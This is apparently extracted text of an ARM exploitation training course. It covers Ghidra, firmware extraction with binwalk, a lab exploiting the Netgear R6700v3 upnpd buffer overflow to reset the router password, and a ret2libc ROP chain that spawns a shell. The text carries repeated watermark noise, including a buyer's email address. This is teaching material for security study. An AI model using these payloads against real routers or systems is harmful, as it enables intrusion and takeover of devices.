ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
Paul Erwin
Importing a file
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Click File / Import File
• Accept the default settings by clicking OK (ghidra will detect that this file is in the ELF format and is an ARM little
endian 32-bit binary)
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
Paul Erwin
• Follow the same steps as above and import the file ~/labs/simple_loop/simple_loop.arm
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
Paul Erwin
Analyzing a binary
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Right click on the verify_pin binary and click "Open in default tool". This will start the CodeBrowser tool. Alternatively,
you could click on the verify_pin and then click the Dragon icon.
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
• When asked if you would like to analyze the binary now, click Yes
Paul Erwin
• Accept the default options and click Analyze
• There will be some activity displayed in the lower right corner showing the progress of the analysis. We are working
with some basic ELF files, so this analysis should finish relatively quickly
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• The ghidra CodeBrowser layout can be rearranged by dragging the title bars of the various windows to their desired
locations. Also, the edges of the windows can be dragged to the desired size.
• Clicking on the Window menu in the title bar will show additional windows that can be added to the view.
Note
live
There are many great features to explore and ghidra can be overwhelming at first! Don't be discouraged. For the labs in this course
we will just be using some of the basic features.
The ghidra layout can feel really cramped when viewed on a small laptop screen. As you become more comfortable with
the tool, feel free to close any of the windows that you do not need and stretch out the important ones. You can always
open them again by selecting them from the Window menu in the title bar.
• Select the Functions folder in the Symbol Tree window and scroll down until you find the verify_pin function.
09b91222e5d2d3d668cf8e52ec5d35ba
Note
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• After you find "verify_pin" by scrolling down in the Functions folder, click on it. This will bring up the verify_pin function
in both the Listing (assembly) and the Decompile windows.
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
Paul Erwin
• The Decompile window will resemble the C code in our src folder.
• Compare the source code in ~/labs/verify_pin/src/verify_pin.c to what you see in the ghidra Decompile window. You
can open the source code file by entering the following command in the console: gedit ~/labs/verify_pin/src/
verify_pin.c
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• This is not a perfect match, but as security researchers we rarely have access to the source code of our target
binaries. A reverse engineering tool like ghidra or IDA Pro can give us an idea of what is happening in the program
even if we do not have the source code.
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• In this function we can see some function names from libc (printf, gets, memcpy, strlen, strcmp) and also some
strings.
• We can rename variables by clicking on them and clicking "l" (lower-case L for "label").
live
• Click on the acStack28 variable on line 11 and click "l". Rename this variable to "pin_buffer".
• Save the change by clicking on the disk image in the upper left corner of the larger CodeBrowser window or by
clicking File/Save 'verify_pin'
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Summary
There are many features in ghidra to explore, but at this point you should be able to:
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Background
Being able to extract the file contents from a firmware update allows researchers to get their hands on the actual binaries
that get loaded onto a device. Tools like binwalk that automate the parsing and extraction of unknown file formats allow
for quick access to binaries of interest. These binaries can be viewed with static analysis tools, dynamically executed, or
even fuzzed.
Objectives
micede1865@wii999_com
• Using binwalk to analyze and extract data from a firmware update
24356915
• Emulating binaries extracted from the squashfs filesystem using qemu-arm
Lab Preparation
Note
Paul Erwin
This lab will be done in the hammerhead vm.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• User: nemo
• Password: nemo
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
https://www.netgear.com/support/download/?model=R6700v3
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~$ cd firmware/netgear/
nemo@hammerhead:~/firmware/netgear$ ls
R6700v3-V1.0.4.84_10.0.58.zip working_files
micede1865@wii999_com
Only 2 files are extracted from the zip file. The R6700v3-V1.0.4.84_10.0.58.chk file is the larger of the 2 and most likely
holds the actual updates for the router.
Change into the working_files folder and run the file command against R6700v3-V1.0.4.84_10.0.58.chk to see if the
operating system recognizes the file type.
24356915
nemo@hammerhead:~/firmware/netgear$ cd working_files/
The operating system does not recognize the file type and just sees it as "data".
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 48283648 bytes, CRC32:
0x3D5AFA1D, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset:
0x20BA4C, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes,
uncompressed size: 5276608 bytes
2144902 0x20BA86 Squashfs filesystem, little endian, version 4.0, compression:xz, size:
live
46133617 bytes, 1853 inodes, blocksize: 131072 bytes, created: 2019-10-19 04:14:20
The output from binwalk shows the offset of the findings in both decimal and hexadecimal format. It also provides a
description for what it has discovered within the file. Without binwalk, or tools like it, you would need to manually open the
file in a hex editor and look for signatures that indicate various files and formats contained within the binary.
nemo@hammerhead:~/firmware/netgear/working_files$ ls
R6700v3-V1.0.4.84_10.0.58.chk R6700v3-V1.0.4.84_10.0.58_Release_Notes.html
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/firmware/netgear/working_files$ binwalk -e ./R6700v3-V1.0.4.84_10.0.58.chk
micede1865@wii999_com
uncompressed size: 5276608 bytes
2144902 0x20BA86 Squashfs filesystem, little endian, version 4.0, compression:xz, size:
46133617 bytes, 1853 inodes, blocksize: 131072 bytes, created: 2019-10-19 04:14:20
If you look at the directory listing again, you will notice that there is a new folder that starts with an underline, _R6700v3-
V1.0.4.84_10.0.58.chk.extracted.
Paul Erwin
nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted$ ls
20BA86.squashfs 56 56.7z squashfs-root squashfs-root-0
Squashfs is a filesystem that is commonly used for embedded system. The squashfs-root folder from this update file is
what gets loaded onto the device during the upgrade process.
Binwalk takes care of extracting the squashfs-root filesystem. We can change into this directory and view the contents.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www
This is a common filesystem layout for linux systems and you will see a similar layout if you look at the hammerhead root
directory.
live
The files within these folders are intended to run on the target device. Therefore, they match the same architecture in this
case, 32-bit ARM.
09b91222e5d2d3d668cf8e52ec5d35ba
avahi-publish
avahi-publish-address
avahi-publish-service
clear
crontab
cut
forked-daapd lsof
free
head
md5sum
mkfifo
tail
taskset
telnet
xargs
yes
micede1865@wii999_com
nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ file usr/bin/taskset
usr/bin/taskset: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked,
interpreter /lib/ld-uClibc.so.0, stripped
We also see that many of these files are symbolic links to busybox.
nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ ls -l usr/bin
total 968 24356915
-rwxr-xr-x 1 nemo nemo 22987 Oct 18 2019 avahi-browse
lrwxrwxrwx 1 nemo nemo 12 Oct 18 2019 avahi-browse-domains -> avahi-browse
-rwxr-xr-x 1 nemo nemo 16028 Oct 18 2019 avahi-publish
lrwxrwxrwx 1 nemo nemo 13 Oct 18 2019 avahi-publish-address -> avahi-publish
lrwxrwxrwx 1 nemo nemo 13 Oct 18 2019 avahi-publish-service -> avahi-publish
-rwxr-xr-x 1 nemo nemo 13495 Oct 18 2019 avahi-resolve
lrwxrwxrwx 1 nemo nemo
lrwxrwxrwx 1 nemo nemo Paul Erwin
13 Oct 18 2019 avahi-resolve-address -> avahi-resolve
13 Oct 18 2019 avahi-resolve-host-name -> avahi-resolve
-rwxr-xr-x 1 nemo nemo 11130 Oct 18 2019 avahi-set-host-name
lrwxrwxrwx 1 nemo nemo 17 Oct 19 2019 awk -> ../../bin/busybox
lrwxrwxrwx 1 nemo nemo 17 Oct 19 2019 basename -> ../../bin/busybox
lrwxrwxrwx 1 nemo nemo 17 Oct 19 2019 clear -> ../../bin/busybox
lrwxrwxrwx 1 nemo nemo 17 Oct 19 2019 crontab -> ../../bin/busybox
lrwxrwxrwx 1 nemo nemo 17 Oct 19 2019 cut -> ../../bin/busybox
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Busybox is a way to provide the functionality of various linux executables in a single file. It is commonly used on
embedded systems.
Note
live
Being able to extract and access these files gives researchers the opportunity to analyze them in static analysis tools like
IDA Pro, Ghidra, Radare2, etc.
In addition, we can emulate these binaries using tools like qemu-arm. Let's try running one of the binaries that is not a
09b91222e5d2d3d668cf8e52ec5d35ba
symbolic link to busybox, curl.
nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ qemu-arm sbin/curl
/lib/ld-uClibc.so.0: No such file or directory
Since this is a dynamic file and not a static, standalone binary, we need to tell qemu-arm where to look for the libraries
micede1865@wii999_com
(shared objects) that curl needs. We can provide this information with the "-L" parameter.
nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
root$ qemu-arm -L . sbin/curl
curl: try 'curl --help' for more information
That looks different. We provided "-L ." which tells qemu-arm to provide the current directory (.) for the curl binary to
24356915
search for the libraries it needs. We get an error message, but that is because we haven't provided any input to curl. But
this shows us the ARM file that we extracted off the router, is in fact running.
We can try again, this time providing the full path name for -L and also changing the curl parameters to "--help" so that we
can see some more output.
nemo@hammerhead:~/firmware/netgear/working_files/_R6700v3-V1.0.4.84_10.0.58.chk.extracted/squashfs-
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
--capath DIR CA directory to verify peer against (SSL)
-E, --cert CERT[:PASSWD] Client certificate file and password (SSL)
--cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL)
--ciphers LIST SSL ciphers to use (SSL)
--compressed Request compressed response (using deflate or gzip)
-K, --config FILE Specify which config file to read
--connect-timeout SECONDS Maximum time allowed for connection
-C, --continue-at OFFSET Resumed transfer offset
-b, --cookie STRING/FILE String or file to read cookies from (H)
...
live
Running individual binaries may be useful, but we can also use the whole squashfs-root filesystem to emulate the full
operating system environment.
The dlink root file system can be extracted using the same technique. Try this on your own.
09b91222e5d2d3d668cf8e52ec5d35ba
Summary
In this lab we used binwalk to extract the contents of a router update file. Binwalk makes things easy for looking for and
parsing out common file structures. By using this tool, we can see the actual files that get loaded onto the router. With
these files, we can analyze them statically, dynamically run them, or even fuzz them.
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Background
In June 2020, Pedro Ribeiro and Radek Domanski disclosed a remote buffer overflow that could be used to issue a
password reset on Netgear R6700 routers. Prior to its public disclosure, the vulnerability was demonstrated at the
Pwn2Own Mobile competition in November 2019. The vulnerability affects the Universal Plug and Play daemon which
listens by default on port 5000 for these devices.
micede1865@wii999_com
https://packetstormsecurity.com/files/158218/NETGEAR-R6700v3-Password-Reset-Remote-Code-Execution.html
Objectives
• (Optional) Debugging the ARM target, observing a crash and walking through a redirection payload
Lab Preparation
Note
Paul Erwin
This lab will be done in the dogfish vm.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Accessing the dogfish vm
• User: nemo
• Password: nemo
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
live
• While in the terminator window console, navigate to the ~/qemu/dogfish folder.
• Use the command sudo start_dogfish.sh to start the dogfish virtual machine.
09b91222e5d2d3d668cf8e52ec5d35ba
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
startup ending with a login prompt.
...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK
micede1865@wii999_com
] Finished Availability of block devices.
dogfish login:
• The best way to connect to the dogfish vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
24356915
switch between tabs by clicking the names at the top of the Terminator window.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Starting up the emulated netgear router
Before running the launch_netgear.sh script, view this script with the cat command.
09b91222e5d2d3d668cf8e52ec5d35ba
Note
If at some point, you would like to bypass the netgear initialization scripts and just get a shell prompt in the netgear environment, do
the following:
• insert a (#) at the beginning of the line to comment out sudo chroot ~/netgear_rootfs /mnt/tools/netgear_boot.sh
• remove the comment (#) marker in front of: sudo chroot ~/netgear_rootfs /bin/sh
micede1865@wii999_com
Save the file and run the script.
This will not provide you access to the netgear web services.
The netgear_rootfs folder is the netgear file system that has been extracted from a netgear firmware update. This
extracted filesystem has not been modified except for the tools subfolder that we create in netgear_rootfs/mnt .
24356915
The launch_netgear.sh script will do the following automatically:
• Create a folder called tools in netgear_rootfs/mnt. We need this folder to exist so we can mount here.
• Mount an nfs share to the folder we just created. This share comes from the hammerhead vm.
• Chroot into the netgear_rootfs folder and run the netgear_boot.sh script. This changes our root directory into the
netgear filesystem and runs a script to initialize the netgear router.
Paul Erwin
Start the launch_netgear.sh script and enter nemo for the password when prompted. You should see the nvram scroll
across the screen and a you should see a busybox prompt as shown below.
nemo@dogfish:~$ ./launch_netgear.sh
[sudo] password for nemo:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...
You will also see log messages kick off in the other window that was used to startup the dogfish vm. These messages are
live
from the netgear device booting up. This screen will continue to display messages throughout the duration of the lab.
Note
Since we did not emulate every single piece of hardware (ie wireless adapters), there will be lots and lots of errors.
fi
fi
for settings that may be interesting.
09b91222e5d2d3d668cf8e52ec5d35ba
# grep "192.168.2" /mnt/tools/nvram_netgear.ini
bs_trustedip=192.168.2.0
bs_trustedip_temp=192.168.2.0
lan1_ipaddr=192.168.2.254
dhcp_start=192.168.2.200
dhcp_end=192.168.2.254
openvpn_tun_ipaddr=192.168.254.1
tftp_serv_ipaddr=192.168.2.1
lan1_gateway=192.168.2.254
micede1865@wii999_com
lan_ipaddr=192.168.2.21
dmz_ipaddr=192.168.2.0
cur_access_user_ip=192.168.2.21
The ip address for the router's web interface is 192.168.2.21. After the boot process runs for a while, we can open up
refox in our hammerhead vm and browse to this webpage. If we have successfully started up the emulated router, we
fi
should see a login prompt.
24356915
Paul Erwin
The default password is "password". We can verify that this password DOES NOT WORK and has been changed by trying
to log in with the username "admin" and the password "password".
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The login password for the web interface is also stored in the nvram_netgear.ini le. The password has been set to "test".
fi
# grep "http_passwd" /mnt/tools/nvram_netgear.ini
http_passwd=test
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/qemu/dogfish$ cd ~/labs/netgear/
micede1865@wii999_com
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>SetDeviceNameIconByMAC
<NewBlockSiteName>1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
24356915
Length: 1337
Note
Paul Erwin
The printable output of the exploit does not properly show our destination address at the very end of the A's. It only shows an X
following the large buffer. This is because some of the bytes we send are not printable ASCII characters.
This exploit should reset the password to the default value of "password".
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Exploit verification
To verify this worked, browse to the netgear webpage again (logout if needed) and try to log in with "admin/password". If you can
login with these credentials, the exploit was successful!
(Optional) Debugging
live
You will get an error if you try to run gdb inside the netgear chroot environment.
# ps | grep upnpd
09b91222e5d2d3d668cf8e52ec5d35ba
Instead, try running gdb from within the dogfish vm. You may need to create a new ssh session to dogfish in a new
window or tab.
micede1865@wii999_com
nemo@R6700v3:~$
Warning
Here you may see the host name has been changed to R6700v3. You are still in the dogfish vm. This change is not persistent and
we can ignore this for now.
24356915
From our ssh session in the dogfish vm, we can see processes that were started in the netgear chroot environment. The
process that the exploit targets is the upnpd daemon.
Warning
The exploit in this lab will crash the upnpd process and make it unavailable for exploitation until that service is restarted.
Paul Erwin
To restart the upnpd daemon, run the following command /usr/sbin/upnpd & from within the chroot shell.
# /usr/sbin/upnpd &
# open: No such file or directory
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
open: No such file or directory
open: No such file or directory
You will get a few errors due to the fact that we do not have all of the hardware components present in our emulated
environment.
Note
live
You will need to hit the enter key a few times to get a shell prompt after starting the upnpd service this way. This is due to the error
messages that are displayed.
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@R6700v3:~$ ps -u root | grep upnpd
3421 ? 00:00:00 upnpd
Note
The process id returned by this command is 3421. Your results will likely be different.
micede1865@wii999_com
Let's connect to that process using gdb. You will need to use sudo with this command along with the process id returned
from the ps command.
24356915
Reading symbols from /home/nemo/netgear_rootfs/usr/sbin/upnpd...
(No debugging symbols found in /home/nemo/netgear_rootfs/usr/sbin/upnpd)
...
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xb6ce44c8 in ?? ()
...
(gdb)
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Observe a crash in gdb
Let's see if we can observe a crash in the target process. With gdb still attached and the upnpd process running, create a
new window or switch back to an existing console window for the hammerhead vm.
nemo@hammerhead:~$ cd labs/netgear
nemo@hammerhead:~/labs/netgear$ ls
live
crash.py exploit.py
View the crash.py script using cat crash.py . It is similar to the exploit script, except that it will overwrite the stored lr
with 0x42424242 instead of jumping to the reset password function. Let's look at the buffer in crash.py.
Try throwing the crash.py exploit, while debugging upnpd with gdb, you should see a crash at address 0x42424242.
09b91222e5d2d3d668cf8e52ec5d35ba
In the hammerhead vm
micede1865@wii999_com
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>SetDeviceNameIconByMAC
</NewBlockSiteName>
</SOAP-ENV:Body>
24356915
<NewBlockSiteName>1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</SOAP-ENV:Envelope>
Length: 1338
In the dogfish vm
Paul Erwin
In the dogfish vm, we should still be attached to the upnpd process prior to launching the crash.py script, and it should be
"Continuing" execution in gdb prior to the Segmentation fault.
(gdb) c
Continuing.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) c
Continuing.
09b91222e5d2d3d668cf8e52ec5d35ba
Do this in the netgear chroot shell
# ps | grep upnp
20371 admin 3040 S grep upnp
# /usr/sbin/upnpd &
# open: No such file or directory
micede1865@wii999_com
open: No such file or directory
open: No such file or directory
# ps | grep upnp
20546 admin 5400 S /usr/sbin/upnpd
20629 admin 3040 S grep upnp
24356915
We see the new upnpd process id as 20546. Your results will vary.
Note
If at any point you accidently exit out of gdb, you can repeat these steps to restart the upnpd process (if needed), identify the upnpd
process id, and reattach using gdb.
In the dogfish vm
Paul Erwin
In the dogfish vm, connect to this process with gdb. Don't forget sudo.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...
Attaching to process 20546
Reading symbols from /home/nemo/netgear_rootfs/usr/sbin/upnpd...
(No debugging symbols found in /home/nemo/netgear_rootfs/usr/sbin/upnpd)
...
0xb6ce44c8 in ?? ()
(gdb)
live
Switch to the hammerhead vm to view the target address that we want to jump to
In our exploit.py payload, we jump to the address \x58\x9a\x03. A \x00 gets appended to this and since it is little endian,
the byte order is reversed. This means that when we overwrite the saved lr, we will jump to 0x00039a58.
09b91222e5d2d3d668cf8e52ec5d35ba
Switch back to the dogfish vm that is debugging upnpd
While still connected with gdb, let's look at what instructions are at our target address that we want to jump to.
... micede1865@wii999_com
0x39a60: bl 0xaf00 <acosNvramConfig_set@plt>
Here we see a value loaded into r0 and another value loaded into r1. After this, there is a function call to
acosNvramConfig_set@plt.
This function likely changes nvram configuration settings. In fact, it should be resetting the password for the web
interface.
24356915
We know from early on in this class that parameters are passed in registers r0-r3. It looks like this function has 2
parameters, since we see a ldr instruction for r0 and r1.
Let's set a breakpoint right before the call to acosNvramConfig_set to verify what this section of code is doing.
(gdb) b * 0x39a60
Breakpoint 1 at 0x39a60
(gdb) c
Paul Erwin
Continuing.
This is in hammerhead
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Next, in the hammerhead vm, throw exploit.py.
nemo@hammerhead:~/labs/netgear$ ls
crash.py exploit.py
(gdb) c
Continuing.
[Detaching after vfork from child process 5386]
09b91222e5d2d3d668cf8e52ec5d35ba
0x39a64: ldr r4, [pc, #-352] ; 0x3990c
0x39a68: mov r1, #0
0x39a6c: mov r2, #2048 ; 0x800
0x39a70: mov r0, r4
This function is going to set the http_passwd nvram setting to "password", which is the default password. If hit c to
continue in gdb, our exploit will be completed successfully!
Summary 24356915
In this lab, we demonstrated how we can emulate a netgear router in a chroot environment. We ran an exploit against the
vulnerable upnpd process and redirected execution to reset the default password. In an optional portion of the exercise,
we opened the target process in a debugger and observed a controlled crash. We then reset the upnpd service and
stepped through the password reset code that the original exploit redirects to.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Background
We don't always have the luxury of delivering shellcode and being able to jump directly to it. Today, devices are
implementing security controls that prevent user-supplied data from being executable.
Rop has proven itself over the years to be an effective workaround. By stringing together smaller bits of code (gadgets)
micede1865@wii999_com
into a rop chain, we can sometimes find creative ways to bypass memory protections and get us the access we need.
Objectives
24356915
• Adjusting stack alignment for our gadget
Lab Preparation
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• User: nemo
• Password: nemo
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
live
• Use the command sudo start_mako.sh to start the mako virtual machine.
nemo@hammerhead:~$ cd qemu/mako
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.
...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.
micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0
mako login:
• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.
Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Change into the ~/labs/rop folder in the mako vm. The check_input function in src/rop_target.c is vulnerable to a
stack-based buffer overflow.
char buf[64];
strcpy(buf, input);
if (strstr(buf, "-a"))
return 1;
live
else
return 0;
}
If the user supplied input is more than 64 bytes, the strcpy function will overflow the buf char array.
09b91222e5d2d3d668cf8e52ec5d35ba
We've seen similar issues in previous labs, but in this example, the rop_target ELF file was not compiled with -z
execstack . Therefore, we cannot deliver our shellcode and execute it directly on the stack. Having a non-executable stack
is a good security practice and the default setting for most compilers.
Let's start by overflowing the buffer and trying to overwrite the stored link register (lr) to gain control of execution.
micede1865@wii999_com
Start up rop_target in gdb.
24356915
There is an issue when debugging dynamically linked binaries in the qemu environment. After starting the binary using the run
command, you may need to hit ctl-c and the c for the program to continue. If the program does not seem responsive, give this a
try.
Try it.
Paul Erwin
We've done this a few times before. Without looking ahead, try to determine how many bytes you need to overflow buf[] and gain
control of execution.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xb6fd81e4 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
live
To capitalize on this buffer overflow and further our access, we will be using a popular exploitation technique called return
09b91222e5d2d3d668cf8e52ec5d35ba
to libc or "ret2libc". Libc is the standard C library and holds many common functions shared by most of the executable
files on the system. Essentially, we will be using some of the functionality already available to the process in the libc
shared object. In this lab, we will attempt to execute the system function in libc to create a child process and give us a
shell.
Note
micede1865@wii999_com
For more information on system, run man system from the command line.
Rop
In class, we talked about how rop works in theory, but now let's take a look at a concrete example. By overwriting the stack
24356915
pointer, we gain control of execution. That's the first step. But where can we go from here?
Setting a goal
With rop, it is important to set a goal and determine what we want to accomplish. In this case, we would like to ret2libc
and execute the following function call.
In a previous lab, we went over how arguments are passed to functions in ARM. The system call we are looking to execute
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
only requires one argument, a string for the shell command we want to execute. Since we know that r0 holds the first
parameter, we will need to somehow get it to point to the string "/bin/sh".
Rop Objectives
Rop gadgets are small snippets of code that perform some basic functionality and then return. Hence, the name "return
09b91222e5d2d3d668cf8e52ec5d35ba
oriented programming". When multiple rop gadgets are chained together, they can be executed sequentially to accomplish
more complex functionality.
Note
For this lab, we have a very simple scenario. We need to get a value into r0 and then we need to call system.
micede1865@wii999_com
In ARM, most of the returns are done via a pop instruction that pops the saved lr register into pc. This returns execution
to the address in the calling function that followed the branch. There are other types of returns such as branching to lr, but
let's start by looking at pop.
Let's look for all of the pop instructions in our rop_target binary. To do this, we will use objdump -d (disassemble) and
grep for pop.
nemo@mako:~/labs/rop$ objdump -d
24356915
rop_target | grep pop
9b00008: bc02 pop {r1}
9b000f6: bd08 pop {r3, pc}
9b00146: bd80 pop {r7, pc}
9b00160: bd80 pop {r7, pc}
9b001da: bd80 pop {r7, pc}
470: e8bd8008
9b002ec: e8bd8008
pop {r3, pc}
pop {r3,
Paul Erwin
pc}
Hmm. This doesn't give us a lot of options. We have some pop instructions, but not much. We might be able to make
something happen here, but let's see if we can find some more pop instructions to work with.
If we look at the rop_target binary, we see that it is dynamically linked. This means that other shared objects will be loaded
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
at runtime and their functionality will also be available within the same process memory space. This is what makes
ret2libc possible.
live
Let's get a list of the other shared objects we have to work with. The ldd command shows the dependencies of an ELF
file.
09b91222e5d2d3d668cf8e52ec5d35ba
If we run ls -l on the /lib/arm-linux-gnueabihf/libc.so.6 dependency, we see that this file is just a symbolic link to
another file, libc-2.31.so found in the same directory. Therefore, we will need to look for pop instructions in /lib/arm-
linux-gnueabihf/libc-2.31.so .
micede1865@wii999_com
BuildID[sha1]=7f9588157c43de02a089d766fe7cc1a0fa70ed45, for GNU/Linux 3.2.0, stripped
Since libc will be available in our process' memory space at runtime, finding rop gadgets in this shared object is a viable
option. Let's check this file for pop instructions.
24356915
objdump -d /lib/arm-linux-gnueabihf/libc-2.31.so | grep pop
We can pipe this output to wc -l which will count the number of lines in our output.
Paul Erwin
So, we have 1,811 pop instructions in libc to work with. How do we choose which one to use?
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We need to get a pointer in r0 and then call system. Because of the stack overflow, we control the stack, so we control
what gets popped into the registers.
Think about it. Based on what we want to accomplish, how can we do this with just 1 instruction?
Let's search for a 'pop' instruction that has both r0 and pc in it!
nemo@mako:~/labs/rop$ objdump -d
5f3fc: e8bd8011 pop {r0, r4, pc}
live
/lib/arm-linux-gnueabihf/libc-2.31.so | grep pop | grep r0 | grep pc
c0404: bdbd pop {r0, r2, r3, r4, r5, r7, pc}
c0488: bd39 pop {r0, r3, r4, r5, pc}
09b91222e5d2d3d668cf8e52ec5d35ba
5f3fc: pop {r0, r4, pc}
Warning
0x5f3fc is not the address of gadget1. This is the offset of gadget1 from the base of libc. We show how to find the address by
adding this offset to the base of libc in the "Finding the address of gadget1" section below.
micede1865@wii999_com
If we control the data on the stack, this single instruction will:
• populate r0
24356915
If we can find "/bin/sh" in memory, we could place the address of the string on our stack so that it gets popped into the r0
register. We will call the address that points to the beginning of this string, binstr_addr .
A value will also be popped into r4, but we don't really care because we don't really need that register and it won't disrupt
what we are trying to do. We will just use "CCCC" or "\x43\x43\x43\x43" as a placeholder.
Lastly, we place the address for the system function from libc on the stack so that it will get popped into pc when our
pop {r0, r4, pc} instruction is executed. Paul Erwin
Putting this all together, our stack will look like this:
stack
...
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
AAAA
AAAA
gadget1
binstr_addr
CCCC
system_addr
live
